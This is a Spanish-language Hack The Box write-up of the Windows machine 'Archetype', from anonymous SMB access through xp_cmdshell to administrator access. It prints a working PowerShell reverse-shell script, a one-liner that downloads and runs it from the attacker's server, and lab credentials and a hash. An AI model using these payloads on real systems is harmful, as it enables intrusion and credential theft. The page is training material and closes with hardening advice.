Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  1. Hack The Box

Archetype

Dificultad: Very Easy - OS: Windows

Enumeración:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV --open -T4 -v -n 10.129.132.61
📌Parámetros
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.95.187:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-01T17:59:22
| Not valid after:  2055-04-01T17:59:22
| MD5:   109a:2229:2d4b:d69f:d828:3a57:f5b0:1fcd
|_SHA-1: 6693:18c0:2452:7922:33b4:2bf4:96ac:2b03:8ab3:b9ba
|_ssl-date: 2025-04-01T18:44:11+00:00; -8m33s from scanner time.
| ms-sql-info: 
|   10.129.95.187:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h15m28s, deviation: 3h07m52s, median: -8m33s
| smb2-time: 
|   date: 2025-04-01T18:44:02
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-01T11:44:03-07:00

En síntesis:

Puerto	 | Estado | Servicio	       | Protocolo
135/tcp	 | Open	  | MSRPC	       | DCERPC (Distributed Computing Environment / Remote Procedure Call)
139/tcp	 | Open	  | NetBIOS-SSN	       | NetBIOS Session Service (para compartir archivos e impresoras en redes Windows)
445/tcp	 | Open	  | Microsoft-DS (SMB) | SMB (Server Message Block) sobre TCP/IP
1433/tcp | Open	  | MS-SQL-S	       | TDS (Tabular Data Stream) (protocolo de comunicación de Microsoft SQL Server)
5985/tcp | Open	  | HTTP (WinRM)       | WinRM (Windows Remote Management) sobre HTTP
┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 10.129.132.61 -N 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.3.229 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Parámetros: -N → sin contraseña -L → esta opción le permite ver qué servicios están disponibles en un servidor

┌──(root㉿kali)-[/home/kali]
└─# smbmap -H 10.129.132.61 -u " " -p " "  

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                               
[|] Checking for open ports...                                               
[/] Checking for open ports...                                               
[-] Checking for open ports...                                               
[*] Detected 1 hosts serving SMB                     
[\] Authenticating...                                                        
[|] Authenticating...                                                        
[/] Authenticating...                
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[|] Enumerating shares...                                                    
[/] Enumerating shares...                                                    
[-] Enumerating shares...  
[+] IP: 10.129.132.61:445        Name: 10.129.132.61              Status: Authenticated                                                                     
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        backups                                                 READ ONLY
        C$                                                      NO ACCESS   Default share
        IPC$                                                    READ ONLY   Remote IPC
[|] Closing connections..                                                    
[/] Closing connections..                                                    
[-] Closing connections..                                                                                                                                 
[*] Closed 1 connections

Parámetros: -H → indica el host objetivo. -u → es para indicar el nombre de usuario. -p → es para indicar la contraseña. " " → es un string vacío. De esta forma nos autenticamos como usuario anónimo.

┌──(root㉿kali)-[/home/kali]
└─# smbclient -N \\\\10.129.132.61\\backups    
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                5056511 blocks of size 4096. 2617222 blocks available
smb: \> get prod.dtsConfig 
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
📌¿Qué es un archivo .dtsConfig?

Un archivo DTSCONFIG es un archivo de configuración en formato XML utilizado en SQL Server Integration Services (SSIS). Su propósito principal es almacenar y aplicar valores de configuración a paquetes SSIS sin necesidad de modificarlos manualmente en cada entorno (por ejemplo, desarrollo, pruebas y producción).

Riesgos de Seguridad y Pentesting en archivos .dtsConfig

Desde una perspectiva de seguridad, los archivos .dtsConfig pueden ser una fuente de credenciales sensibles porque a menudo contienen:

  • Cadenas de conexión con nombres de servidores, bases de datos y credenciales.

  • Cuentas de usuario y contraseñas en texto plano si no están protegidas correctamente.

Una vez que descargamos el archivo .dtsConfig nos vamos a encontrar con lo siguiente:

┌──(root㉿kali)-[/home/kali]
└─# cat prod.dtsConfig 
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>  

Credenciales hardcodeadas: Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

┌──(root㉿kali)-[/home/kali]
└─# python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.129.132.61 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc  dbo@master)> 
📌Desglose del comando
  1. python3 ejecuta el script usando Python 3.

  1. mssqlclient.py Es un script de la suite Impacket que permite conectarse a servidores Microsoft SQL Server (MSSQL) desde la terminal.

  1. ARCHETYPE/sql_svc@10.129.132.61

Formato de credenciales de acceso:

  • ARCHETYPE → Nombre del dominio o del equipo donde se encuentra el servidor SQL.

  • sql_svc → Nombre del usuario con el que se intenta conectar.

  • @10.129.132.61 → Dirección IP del servidor MSSQL.

Esto indica que intentamos conectarnos al servidor SQL en 10.129.132.61 usando el usuario sql_svc del dominio ARCHETYPE.

  1. -windows-auth Este parametro indica que se usará autenticación de Windows (NTLM) en lugar de autenticación SQL estándar.

📌 Diferencias entre autenticaciones:

  • Autenticación SQL Server (-windows-auth no se usa): Se requieren credenciales de SQL (usuario/contraseña definidas en el servidor SQL).

  • Autenticación Windows (-windows-auth sí se usa): Se usan credenciales del dominio Windows para autenticarse en SQL Server.

En este caso, el usuario sql_svc está definido en el dominio ARCHETYPE y se intentará autenticar con su contraseña de Windows.

Una vez que logramos entrar al MSSQL vamos a comprobar si nuestro usuario es sysadmin:

SQL (ARCHETYPE\sql_svc  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-   
1  

El valor 1 nos indica que el usuario es sysadmin por lo tanto tenemos los permisos para modificar configuraciones y leer archivos, pero lo que vamos a testear ahora es como esta configurado el xp_cmdshell (un procedimiento almacenado extendido en Microsoft SQL Server que permite ejecutar comandos del sistema operativo desde SQL Server).

SQL (ARCHETYPE\sql_svc  dbo@master)> EXEC xp_cmdshell 'whoami'
ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because 
this component is turned off as part of the security configuration for this server. A system administrator can enable 
the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 
'xp_cmdshell' in SQL Server Books Online.

Este mensaje nos esta diciendo que el componente xp_cmdshell esta desactivado como parte de la configuración de seguridad de este servidor y que solo un administrador del sistema puede habilitar el uso de 'xp_cmdshell' mediante sp_configure. Entonces, ¿Cómo podemos habilitar este componente?

Para entender que es un procedimiento almacenado extendido y xp_cmdshell ir al siguiente articulo:

Si consultamos el manual con 'help' vamos a encontrar un comando para habilitar la xp_cmdshell: enable_xp_cmdshell

SQL (ARCHETYPE\sql_svc  dbo@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

Una vez que habilitemos la xp_cmdshell vamos a ver un mensaje que nos indica cual es la siguiente instrucción para aplicar los cambios (la línea en cuestión es la 3 que nos pide ejecutar el comando reconfigure para aplicar los cambios). Finalmente podremos usar xp_cmdshell y probar algunos comandos como whoami o pwd

SQL (ARCHETYPE\sql_svc  dbo@master)> enable_xp_cmdshell
INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc  dbo@master)> reconfigure
SQL (ARCHETYPE\sql_svc  dbo@master)> EXEC xp_cmdshell 'whoami'
output              
-----------------   
archetype\sql_svc   

NULL        
SQL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell "powershell -c pwd"
output                
-------------------   
NULL                  

Path                  

----                  

C:\Windows\system32  

Ahora que podemos ejecutar comandos del sistema operativo vamos a establecer nuestra reverse shell siguiendo este paso a paso

  1. Setear el payload shell.ps1 con nuestra IP atacante y el puerto de escucha donde recibiremos la conexión desde el equipo objetivo Windows una vez que ejecutemos la carga util con powershell.

  2. Levantar un servidor con Python en el equipo atacante. Iníciarlo en la misma carpeta donde se guardo el payload shell.ps1

  3. Levantar el listener con Netcat usando el puerto que configuramos en el payload para que el equipo objetivo pueda mandarnos la reverse shell.

  4. Desde el servidor SQL: descargar el payload shell.ps1 alojado en la maquina atacante y ejecutarlo como un script de Windows usando powershell.

1) Crear el payload:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# cat shell.ps1     
$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "# ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

En la línea TCPClient("0.0.0.0",4444); hay que poner la IP de nuestra maquina atacante y el puerto que vamos a usar como listener con netcat. La extensión .ps1 indica que el archivo es un script de PowerShell

Para ver mas sobre este payload ir al siguiente artículo:

2) Levantamos un servidor con python3 desde la carpeta donde dejamos guardado el payload:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# ls
prod.dtsConfig  shell.ps1
                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.132.61 - - [08/Apr/2025 23:09:27] "GET /shell.ps1 HTTP/1.1" 200 -

3) Levantamos un listener con netcat en otra shell, usando el puerto que configuramos en el payload:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# nc -nvlp 4444     
listening on [any] 4444 ...
📌Parámetros
  • -n → No DNS resolution.

    • Evita que Netcat intente resolver nombres DNS. Usa direcciones IP tal cual.

    • Útil para que responda más rápido y no cause errores innecesarios.

  • -v → Verbose.

    • Modo detallado. Muestra más información sobre lo que está haciendo (por ejemplo, cuando se establece la conexión).

  • -l → Listen.

    • Pone a Netcat en modo escucha, esperando que otra máquina se conecte a este puerto (ej: una reverse shell).

  • -p 4444 → Port.

    • Especifica el puerto en el que va a escuchar. En este caso, el 4444.

4) Ejecutamos el siguiente "one liner" en la sesión de mssql

SQL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; Invoke-WebRequest -Uri http://10.10.15.39:8000/shell.ps1 -OutFile shell.ps1 -UseBasicParsing; powershell -ExecutionPolicy Bypass -File shell.ps1"   
📌Desglose del one liner

xp_cmdshell permite ejecutar comandos del sistema operativo desde dentro de SQL Server. Todo lo que va dentro de las comillas dobles se ejecuta como si fuera un comando en una terminal de Windows (cmd.exe).

"powershell -c ..."

Esto inicia PowerShell con el flag -c, que le indica que lo que sigue es un conjunto de comandos a ejecutar.

cd C:\Users\sql_svc\Downloads;

Cambia el directorio actual a Downloads, donde vamos a guardar el archivo descargado.

Invoke-WebRequest -Uri http://10.10.15.39:8000/shell.ps1 -OutFile shell.ps1 -UseBasicParsing;

Este comando descarga el archivo shell.ps1 desde el servidor python y lo guarda localmente como shell.ps1.

  • -Uri http://10.10.15.39:8000/shell.ps1 → URL desde donde descargar.

  • -OutFile shell.ps1 → Nombre del archivo destino.

  • -UseBasicParsing → Evita que se use el motor de Internet Explorer (que da errores en sistemas sin GUI).

powershell -ExecutionPolicy Bypass -File shell.ps1

Una vez descargado, este comando ejecuta el script shell.ps1 saltándose cualquier política de restricción de ejecución (ExecutionPolicy Bypass).

  • -ExecutionPolicy Bypass → Evita restricciones (por ejemplo, si la política no permite ejecutar scripts).

  • -File shell.ps1 → Especifica qué archivo .ps1 ejecutar.

Y asi logramos obtener nuestra reverse shell:

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# nc -nvlp 4444     
listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.129.132.61] 49684
whoami
archetype\sql_svc
# pwd

Path                      
----                      
C:\Users\sql_svc\Downloads
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# locate winpeas       
/usr/bin/winpeas
/usr/share/peass/winpeas
/usr/share/peass/winpeas/winPEAS.bat
/usr/share/peass/winpeas/winPEASany.exe
/usr/share/peass/winpeas/winPEASany_ofs.exe
/usr/share/peass/winpeas/winPEASx64.exe

┌──(root㉿kali)-[/usr/share/peass/winpeas]
└─# cp winPEASx64.exe /home/kali/Documents/HTB/ARCHETYPE
# pwd
Path                      
----                      
C:\Users\sql_svc\Downloads

# dir
    Directory: C:\Users\sql_svc\Downloads
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         4/8/2025  10:24 PM            514 shell.ps1                                                             

# cd ..

# cd Desktop

# dir
    Directory: C:\Users\sql_svc\Desktop
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt                                                              

# type user.txt
3e7b102e78218e935bf3f4951fec21a3

Levantamos un servidor con python3 desde el directorio donde se encuentre el archivo winPEASx64.exe

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# ls                         
prod.dtsConfig  shell.ps1  winPEASx64.exe
                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.132.61 - - [09/Apr/2025 02:04:10] "GET /winPEASx64.exe HTTP/1.1" 200 -

y lo descargamos con wget desde la reverse shell

# wget http://10.10.15.39:8000/winPEASx64.exe -OutFile winPEASx64.exe

# ls 
    Directory: C:\Users\sql_svc\Downloads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         4/8/2025  10:24 PM            514 shell.ps1                                                             
-a----         4/8/2025  10:55 PM       10144256 winPEASx64.exe 

Parámetros: wget → en PowerShell, el alias wget redirige en realidad a Invoke-WebRequest. http://10.10.15.39:8000/winPEASx64.exe → es la URL desde la cual se quiere descargar el archivo. -OutFile → indica el nombre del archivo local en el que se va a guardar la descarga. winPEASx64.exe → el nombre con el que se guarda el archivo en la máquina local.

Una vez que ya tenemos cargado el binario lo ejecutamos y nos va a arrojar un reporte con mucha información de la cual nos interesa la siguiente: el PS history file

???????????? PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version: 
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 
    PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

???????????? Print Logon Sessions
    Method:                       WMI
    Logon Server:                 
    Logon Server Dns Domain:      
    Logon Id:                     78535
    Logon Time:                   
    Logon Type:                   Service
    Start Time:                   4/8/2025 10:13:54 PM
    Domain:                       ARCHETYPE
    Authentication Package:       NTLM
    Start Time:                   4/8/2025 10:13:54 PM
    User Name:                    sql_svc

???????????? Enumerating Security Packages Credentials
  Version: NetNTLMv2
  Hash:    sql_svc::ARCHETYPE:1122334455667788:e60d9be197153b8ea0c2847c1cca8e50:010100000000000075091d3c15a9db01df65
           dbb917ef7447000000000800300030000000000000000000000000300000537283dd3d8c315062dc5517754dd98e7e59b35d0d683
           3ad0140e4496c8bb6dc0a00100000000000000000000000000000000000090000000000000000000000  

El PS history file es el archivo de historial de comandos de PowerShell del usuario sql_svc. PowerShell, al igual que bash en Linux, guarda un historial de los comandos que fueron ejecutados en sesiones anteriores. Este archivo es clave durante un pentesting porque nos permite revelar información como contraseñas, comandos administrativos, interacciones del usuario con sistemas remotos, etc. Para leer este archivo usamos el siguiente comando:

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

¿Qué significa este resultado?

net use → comando para conectar unidades de red en Windows. T: → letra de unidad local que se asignará al recurso de red. \\Archetype\backups → ruta UNC del recurso compartido en red (una carpeta de la máquina Archetype). /user:administrator → se está autenticando como el usuario administrator. MEGACORP_4dm1n!! → es la contraseña usada para ese usuario

┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# evil-winrm -i 10.129.132.61 -u administrator -p 'MEGACORP_4dm1n!!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> pwd

Path
----
C:\Users\Administrator\Documents


*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir


    Directory: C:\Users\Administrator


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        7/27/2021   2:30 AM                3D Objects
d-r---        7/27/2021   2:30 AM                Contacts
d-r---        7/27/2021   2:30 AM                Desktop
d-r---        7/27/2021   2:30 AM                Documents
d-r---        7/27/2021   2:30 AM                Downloads
d-r---        7/27/2021   2:30 AM                Favorites
d-r---        7/27/2021   2:30 AM                Links
d-r---        7/27/2021   2:30 AM                Music
d-r---        7/27/2021   2:30 AM                Pictures
d-r---        7/27/2021   2:30 AM                Saved Games
d-r---        7/27/2021   2:30 AM                Searches
d-r---        7/27/2021   2:30 AM                Videos


*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/25/2020   6:36 AM             32 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.132.61
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Requesting shares on 10.129.132.61.....
[*] Found writable share ADMIN$
[*] Uploading file kWNjbpLM.exe
[*] Opening SVCManager on 10.129.132.61.....
[*] Creating service bYPa on 10.129.132.61.....
[*] Starting service bYPa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b91ccec3305e98240082d4474b848528

Como conclusión: durante el desarrollo del CTF exploramos un escenario realista de compromiso de una máquina Windows a través de una serie de miss configurations y exposición de credenciales. Esta experiencia pone en evidencia varias debilidades comunes en entornos Windows y refuerza la importancia de implementar buenas prácticas de hardening como las siguientes:

🔐 Lecciones de Hardening en Windows
  • Exposición de credenciales en archivos de configuración: La presencia de contraseñas en texto plano dentro de archivos como prod.dtsConfig muestra la necesidad de:

    • Usar secure strings o gestores de secretos.

    • Aplicar ACLs restrictivas para limitar el acceso a archivos sensibles.

  • Permisos débiles en carpetas compartidas vía SMB: El acceso anónimo a recursos SMB permitió obtener archivos sin autenticación. Esto se puede mitigar:

    • Desactivando accesos de invitado.

    • Aplicando políticas de permisos mínimos (Least Privilege).

  • Habilitación de xp_cmdshell en MSSQL: Esta función ofrece ejecución de comandos en el sistema operativo. Por defecto está deshabilitada, pero en este caso estaba disponible o pudo habilitarse. Se recomienda:

    • Mantener xp_cmdshell desactivado.

    • Monitorizar actividades en MSSQL, especialmente en roles con privilegios elevados.

  • PowerShell sin restricciones: La ejecución libre de scripts y el almacenamiento del historial en ConsoleHost_history.txt sin protección permitió el descubrimiento de credenciales de administrador. Para mitigarlo:

    • Habilitar políticas de ejecución más restrictivas (Set-ExecutionPolicy).

    • Limpiar o auditar archivos de historial regularmente.

    • Implementar AppLocker o WDAC para controlar la ejecución de binarios

Last updated 13 days ago

Como primer paso vamos a listar recursos del servicio SMB. Para realizar esto podemos usar estas tools: y

:

El recurso que nos interesa es "backups", un directorio que contiene un archivo .dtsConfig Para acceder a la carpeta backups vamos a usar

El siguiente paso es conectarnos al servidor con las credenciales encontradas. En este punto vamos a usar la siguiente tool que pertenece a la suite de impacket:

Por último nos faltaría escalar privilegios y para esta etapa vamos a utilizar . Si ya lo tenemos instalado en kali lo podemos localizar con locate y copiar el .exe al directorio donde levantemos el servidor con python3:

Antes de descargar en la reverse shell vamos a buscar la flag del usuario:

Ahora si, para descargar en la máquina objetivo vamos a seguir estos pasos:

Con estas credenciales podemos conectarnos al puerto 5985/tcp que corre el servicio de HTTP (WinRM) utilizando o también podemos conectarnos al puerto 445/tcp que corre el servicio de SMB utilizando de la suite de impacket.

👾
smbclient
smbmap
SMBMap
smbclient
MSSQL
Shell.ps1
WinPEAS
WinPEAS
WinPEAS
EvilWinRM
MSSQL
EvilWinRM
mssqlclient.py
psexec.py
Psexec.py